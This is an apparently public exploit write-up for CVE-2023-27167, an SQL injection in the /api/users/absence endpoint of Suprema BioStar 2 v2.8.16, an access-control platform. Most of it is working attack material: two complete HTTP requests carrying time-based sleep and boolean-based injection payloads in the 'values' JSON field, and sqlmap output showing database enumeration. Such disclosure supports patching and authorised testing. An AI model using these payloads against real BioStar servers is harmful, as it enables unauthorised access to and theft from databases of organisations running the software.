Suprema BioStar 2 2.8.16 SQL Injection

# Exploit Title: CVE-2023-27167 - Suprema BioStar 2 v2.8.16 - SQL Injection
# Date: 26/03/2023
# Exploit Author: Yuriy (Vander) Tsarenko (https://www.linkedin.com/in/yuriy-tsarenko-a1453aa4/)
# Vendor Homepage: https://www.supremainc.com/
# Software Link: https://www.supremainc.com/en/platform/hybrid-security-platform-biostar-2.asp
# Software Download: https://support.supremainc.com/en/support/solutions/articles/24000076543--biostar-2-biostar-2-8-16-new-features-and-configuration-guide
# Version: 2.8.16
# Tested on: Windows, Linux

## Description 
A Boolean-based SQL injection/Time based SQL vulnerability in the page (/api/users/absence?search_month=1) in Suprema BioStar 2 v2.8.16 allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "values" JSON parameter. 

## Request PoC #1
'''
POST /api/users/absence?search_month=1 HTTP/1.1
Host: biostar2.server.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/plain, */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json;charset=UTF-8
content-language: en
bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548
Content-Length: 204
Origin: https://biostar2.server.net
Connection: close
Referer: https://biostar2.server.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(4)))a)",4840,20120]}],"orders":[],"total":false}}

'''

Time based SQL injection (set 4 – response delays for 8 seconds).

'''

## Request PoC #2
'''
POST /api/users/absence?search_month=1 HTTP/1.1
Host: biostar2.server.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/plain, */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json;charset=UTF-8
content-language: en
bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548
Content-Length: 188
Origin: https://biostar2.server.net
Connection: close
Referer: https://biostar2.server.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}

'''

Boolean-based SQL injection (payload “1 and 3523=03523” means “1 and True”, so we can see information in response, regarding user with id 1, which is admin)

'''

## Exploit with SQLmap

Save the request from Burp Suite to file.

'''
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(7)))a)",4840,20120]}],"orders":[],"total":false}}
---
[05:02:49] [INFO] testing MySQL
[05:02:49] [INFO] confirming MySQL
[05:02:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL > 5.0.0 (MariaDB fork)
[05:02:50] [INFO] fetching database names
[05:02:50] [INFO] fetching number of databases
[05:02:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[05:02:55] [INFO] retrieved: 2
[05:03:12] [INFO] retrieved: biostar2_ac
[05:03:56] [INFO] retrieved: information_schema
available databases [2]:
[*] biostar2_ac
[*] information schema

'''